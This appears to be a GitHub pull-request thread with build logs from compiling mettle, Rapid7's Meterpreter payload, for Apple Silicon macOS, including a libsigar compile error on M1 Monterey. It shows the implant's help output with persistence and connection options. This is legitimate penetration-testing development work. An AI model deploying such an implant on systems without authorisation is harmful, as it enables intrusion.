ld: warning: object file (/Users/ishaanahuja/testing/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(Hacl_Curve25519_joined.o)) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: dylib (/opt/homebrew/lib/libunwind.dylib) was built for newer macOS version (13.0) than being linked (11.0)
ld: warning: dylib (/opt/homebrew/lib/libunwind.dylib) was built for newer macOS version (13.0) than being linked (11.0)
Configuring mettle for aarch64-apple-darwin
Building mettle for aarch64-apple-darwin
/Users/ishaanahuja/testing/mettle/mettle/src/stdapi/ui/osx_desktop.m:14:88: warning: 'kUTTypeJPEG' is deprecated: first deprecated in macOS 12.0 - Use UTTypeJPEG instead. [-Wdeprecated-declarations]
    CGImageDestinationRef destination = CGImageDestinationCreateWithData(newImageData, kUTTypeJPEG, 1, NULL);
                                                                                       ^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Headers/UTCoreTypes.h:724:26: note: 'kUTTypeJPEG' has been explicitly marked deprecated here
extern const CFStringRef kUTTypeJPEG                                 API_DEPRECATED("Use UTTypeJPEG instead.", ios(3.0, 15.0), macos(10.4, 12.0), tvos(9.0, 15.0), watchos(1.0, 8.0));
                         ^
1 warning generated.
ishaanahuja@Ishaan-Ahujas-MacBook-Pro ~/testing/mettle % cd build/aarch64-apple-darwin/bin
ishaanahuja@Ishaan-Ahujas-MacBook-Pro ~/testing/mettle/build/aarch64-apple-darwin/bin % ./mettle -h
Usage: mettle [options]
  -h, --help             display help
  -u, --uri <uri>        add connection URI
  -U, --uuid <uuid>      set the UUID (base64)
  -d, --debug <level>    enable debug output (set to 0 to disable)
  -o, --out <file>       write debug output to a file
  -b, --background <0|1> start as a background service (0 disable, 1 enable)
  -p, --persist [none|install|uninstall] manage persistence
  -m, --modules <path>   add modules from path
  -n, --name <name>      name to start as
  -l, --listen
  -c, --console

@space-r7
Copy link
Contributor

space-r7 commented Feb 3, 2023

Sorry for the delay here. I specifically can't build this on Monterey on the M1, still getting the sigar error. Building on an intel macbook running Monterey was successful. Building on an M1 macbook running Ventura was successful:

M1 Monterey Build
sherbs@nostromo -> ~ git clone --recursive https://github.com/rapid7/mettle.git
Cloning into 'mettle'...
remote: Enumerating objects: 6064, done.
remote: Counting objects: 100% (806/806), done.
remote: Compressing objects: 100% (300/300), done.
remote: Total 6064 (delta 463), reused 753 (delta 436), pack-reused 5258
Receiving objects: 100% (6064/6064), 76.58 MiB | 11.65 MiB/s, done.
Resolving deltas: 100% (3879/3879), done.
sherbs@nostromo -> ~ cd mettle
sherbs@nostromo -> mettle git fetch origin refs/pull/237/head
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 19 (delta 13), reused 16 (delta 13), pack-reused 0
Unpacking objects: 100% (19/19), 1.11 MiB | 4.07 MiB/s, done.
From https://github.com/rapid7/mettle
 * branch            refs/pull/237/head -> FETCH_HEAD
sherbs@nostromo -> mettle git checkout FETCH_HEAD
Note: switching to 'FETCH_HEAD'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 62d3ab7 Added Apple Silicon (M1 & M2) support + replaced almost all deprecated macOS APIs
sherbs@nostromo -> mettle make TARGET=aarch64-apple-darwin                          
Configuring libtool
Building libtool
Configuring autoconf
Building autoconf
Configuring automake
Building automake
Configuring bison
Building bison
Configuring flex
Building flex
Configuring coreutils
Building coreutils
configure.ac:10: installing './compile'
configure.ac:4: installing './install-sh'
configure.ac:4: installing './missing'
extensions/sniffer/Makefile.am: installing './depcomp'
Unpacking libpcap for aarch64-apple-darwin
Configuring libpcap for aarch64-apple-darwin
Building libpcap for aarch64-apple-darwin
grammar.y: warning: 38 shift/reduce conflicts [-Wconflicts-sr]
Unpacking json-c for aarch64-apple-darwin
Configuring json-c for aarch64-apple-darwin
Building json-c for aarch64-apple-darwin
Unpacking libz for aarch64-apple-darwin
Configuring libz for aarch64-apple-darwin
Building libz for aarch64-apple-darwin
Unpacking mbedtls for /Users/sherbs/mettle/build/aarch64-apple-darwin
Building mbedtls for aarch64-apple-darwin
Unpacking curl for aarch64-apple-darwin
Configuring curl for aarch64-apple-darwin
Building curl for aarch64-apple-darwin
mprintf.c:946:10: warning: 'sprintf' is deprecated: This function is provided for compatibility reasons only.  Due to security concerns inherent in the design of sprintf(3), it is highly recommended that you use snprintf(3) instead. [-Wdeprecated-declarations]
        (sprintf)(work, formatbuf, p->data.dnum);
         ^
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/stdio.h:188:1: note: 'sprintf' has been explicitly marked deprecated here
__deprecated_msg("This function is provided for compatibility reasons only.  Due to security concerns inherent in the design of sprintf(3), it is highly recommended that you use snprintf(3) instead.")
^
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/sys/cdefs.h:215:48: note: expanded from macro '__deprecated_msg'
        #define __deprecated_msg(_msg) __attribute__((__deprecated__(_msg)))
                                                      ^
1 warning generated.
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(debug.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(net_sockets.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(certs.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cache.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aes.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_ciphersuites.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(adler32.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aesni.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cli.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(arc4.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(aria.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(compress.o)) was built for newer macOS version (12.0) than being linked (11.0)ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_cookie.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(asn1parse.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_msg.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(crc32.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(asn1write.o)) was built for newer macOS version (12.0) than being linked (11.0)ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(deflate.o)) was built for newer macOS version (12.0) than being linked (11.0)


ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzclose.o)) was built for newer macOS version (12.0) than being linked (11.0)
object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(pkcs11.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_srv.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzlib.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(base64.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(bignum.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_create.o)) was built for newer macOS version (12.0) than being linked (11.0)
object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_ticket.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_crl.o)) was built for newer macOS version (12.0) than being linked (11.0)ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedtls.a(ssl_tls.o)) was built for newer macOS version (12.0) than being linked (11.0)

ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_crt.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzread.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(blowfish.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(camellia.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ccm.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509_csr.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509write_crt.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedx509.a(x509write_csr.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(gzwrite.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(infback.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(inffast.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(chacha20.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(inflate.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(chachapoly.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cipher.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cipher_wrap.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(inftrees.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(trees.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(cmac.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ctr_drbg.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(uncompr.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libz.a(zutil.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(des.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(dhm.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecdh.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecdsa.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecjpake.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecp.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ecp_curves.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(entropy.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(entropy_poll.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(error.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(gcm.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(havege.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(hkdf.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(hmac_drbg.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md2.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md4.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(md5.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(memory_buffer_alloc.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(nist_kw.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(oid.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(padlock.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pem.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pk.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pk_wrap.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkcs12.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkcs5.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkparse.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(pkwrite.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(platform.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(platform_util.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(poly1305.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_se.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_slot_management.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_crypto_storage.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(psa_its_file.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(ripemd160.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(rsa.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(rsa_internal.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha1.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha256.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(sha512.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(threading.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(timing.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(version.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(version_features.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(xtea.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(everest.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(x25519.o)) was built for newer macOS version (12.0) than being linked (11.0)
ld: warning: object file (/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libmbedcrypto.a(Hacl_Curve25519_joined.o)) was built for newer macOS version (12.0) than being linked (11.0)
Unpacking libeio for aarch64-apple-darwin
Configuring libeio for aarch64-apple-darwin
Building libeio for aarch64-apple-darwin
Unpacking libev for aarch64-apple-darwin
Configuring libev for aarch64-apple-darwin
Building libev for aarch64-apple-darwin
Unpacking libsigar for aarch64-apple-darwin
Configuring libsigar for aarch64-apple-darwin
./autogen.sh: running `glibtoolize --copy --force'
glibtoolize: putting auxiliary files in '.'.
glibtoolize: copying file './ltmain.sh'
glibtoolize: putting macros in AC_CONFIG_MACRO_DIRS, 'm4'.
glibtoolize: copying file 'm4/libtool.m4'
glibtoolize: copying file 'm4/ltoptions.m4'
glibtoolize: copying file 'm4/ltsugar.m4'
glibtoolize: copying file 'm4/ltversion.m4'
glibtoolize: copying file 'm4/lt~obsolete.m4'
./autogen.sh: running `aclocal'
./autogen.sh: running `automake --add-missing --copy'
configure.ac:19: installing './compile'
configure.ac:5: installing './install-sh'
configure.ac:5: installing './missing'
bindings/lua/Makefile.am: installing './depcomp'
parallel-tests: installing './test-driver'
./autogen.sh: running `autoconf'
Now type './configure --enable-maintainer-mode ...' and 'make' to compile.
Building libsigar for aarch64-apple-darwin
darwin_sigar.c:1164:17: warning: variable 'count' set but not used [-Wunused-but-set-variable]
    int status, count;
                ^
darwin_sigar.c:1512:43: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
    service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                          ^~~~~~~~~~~~~~~~~~~~
                                          kIOMainPortDefault
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
darwin_sigar.c:1513:61: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
                                          IOBSDNameMatching(kIOMasterPortDefault, 0, dname));
                                                            ^~~~~~~~~~~~~~~~~~~~
                                                            kIOMainPortDefault
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX13.1.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
darwin_sigar.c:2368:32: warning: declaration of 'struct nfsstats' will not be visible outside of this function [-Wvisibility]
static int get_nfsstats(struct nfsstats *stats)
                               ^
darwin_sigar.c:2370:24: error: invalid application of 'sizeof' to an incomplete type 'struct nfsstats'
    size_t len = sizeof(*stats);
                       ^~~~~~~~
darwin_sigar.c:2368:32: note: forward declaration of 'struct nfsstats'
static int get_nfsstats(struct nfsstats *stats)
                               ^
darwin_sigar.c:2429:21: error: variable has incomplete type 'struct nfsstats'
    struct nfsstats stats;
                    ^
darwin_sigar.c:2429:12: note: forward declaration of 'struct nfsstats'
    struct nfsstats stats;
           ^
darwin_sigar.c:2448:21: error: variable has incomplete type 'struct nfsstats'
    struct nfsstats stats;
                    ^
darwin_sigar.c:2448:12: note: forward declaration of 'struct nfsstats'
    struct nfsstats stats;
           ^
4 warnings and 3 errors generated.
make[4]: *** [darwin_sigar.lo] Error 1
make[3]: *** [all-recursive] Error 1
make[2]: *** [all-recursive] Error 1
make[1]: *** [all-recursive] Error 1
darwin_sigar.c:1164:17: warning: variable 'count' set but not used [-Wunused-but-set-variable]
    int status, count;
                ^
darwin_sigar.c:1512:43: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
    service = IOServiceGetMatchingService(kIOMasterPortDefault,
                                          ^~~~~~~~~~~~~~~~~~~~
                                          kIOMainPortDefault
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
darwin_sigar.c:1513:61: warning: 'kIOMasterPortDefault' is deprecated: first deprecated in macOS 12.0 [-Wdeprecated-declarations]
                                          IOBSDNameMatching(kIOMasterPortDefault, 0, dname));
                                                            ^~~~~~~~~~~~~~~~~~~~
                                                            kIOMainPortDefault
/Applications/Xcode_14.2.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/System/Library/Frameworks/IOKit.framework/Headers/IOKitLib.h:133:19: note: 'kIOMasterPortDefault' has been explicitly marked deprecated here
const mach_port_t kIOMasterPortDefault
                  ^
darwin_sigar.c:2368:32: warning: declaration of 'struct nfsstats' will not be visible outside of this function [-Wvisibility]
static int get_nfsstats(struct nfsstats *stats)
                               ^
darwin_sigar.c:2370:24: error: invalid application of 'sizeof' to an incomplete type 'struct nfsstats'
    size_t len = sizeof(*stats);
                       ^~~~~~~~
darwin_sigar.c:2368:32: note: forward declaration of 'struct nfsstats'
static int get_nfsstats(struct nfsstats *stats)
                               ^
darwin_sigar.c:2429:21: error: variable has incomplete type 'struct nfsstats'
    struct nfsstats stats;
                    ^
darwin_sigar.c:2429:12: note: forward declaration of 'struct nfsstats'
    struct nfsstats stats;
           ^
darwin_sigar.c:2448:21: error: variable has incomplete type 'struct nfsstats'
    struct nfsstats stats;
                    ^
darwin_sigar.c:2448:12: note: forward declaration of 'struct nfsstats'
    struct nfsstats stats;
           ^
4 warnings and 3 errors generated.
make[4]: *** [darwin_sigar.lo] Error 1
make[3]: *** [install-recursive] Error 1
make[2]: *** [install-recursive] Error 1
make[1]: *** [install-recursive] Error 1
make: *** [/Users/sherbs/mettle/build/aarch64-apple-darwin/lib/libsigar.a] Error 2
M1 Ventura Build
sherbs@nostromo -> ~ git clone --recursive https://github.com/rapid7/mettle.git
Cloning into 'mettle'...
remote: Enumerating objects: 6064, done.
remote: Counting objects: 100% (806/806), done.
remote: Compressing objects: 100% (300/300), done.
remote: Total 6064 (delta 463), reused 754 (delta 436), pack-reused 5258
Receiving objects: 100% (6064/6064), 76.58 MiB | 8.85 MiB/s, done.
Resolving deltas: 100% (3879/3879), done.
sherbs@nostromo -> ~ cd mettle
sherbs@nostromo -> mettle git fetch origin refs/pull/237/head                      
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 19 (delta 13), reused 16 (delta 13), pack-reused 0
Unpacking objects: 100% (19/19), 1.11 MiB | 3.93 MiB/s, done.
From https://github.com/rapid7/mettle
 * branch            refs/pull/237/head -> FETCH_HEAD
sherbs@nostromo -> mettle git checkout FETCH_HEAD
Note: switching to 'FETCH_HEAD'.

You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:

  git switch -c <new-branch-name>

Or undo this operation with:

  git switch -

Turn off this advice by setting config variable advice.detachedHead to false

HEAD is now at 62d3ab7 Added Apple Silicon (M1 & M2) support + replaced almost all deprecated macOS APIs
sherbs@nostromo -> mettle make TARGET=aarch64-apple-darwin
Configuring libtool
Building libtool
Configuring autoconf
Building autoconf
Configuring automake
Building automake
Configuring bison
Building bison
Configuring flex
Building flex
Configuring coreutils
Building coreutils
configure.ac:10: installing './compile'
configure.ac:4: installing './install-sh'
configure.ac:4: installing './missing'
extensions/sniffer/Makefile.am: installing './depcomp'
Unpacking libpcap for aarch64-apple-darwin
Configuring libpcap for aarch64-apple-darwin
Building libpcap for aarch64-apple-darwin
grammar.y: warning: 38 shift/reduce conflicts [-Wconflicts-sr]
Unpacking json-c for aarch64-apple-darwin
Configuring json-c for aarch64-apple-darwin
Building json-c for aarch64-apple-darwin
Unpacking libz for aarch64-apple-darwin
Configuring libz for aarch64-apple-darwin
Building libz for aarch64-apple-darwin
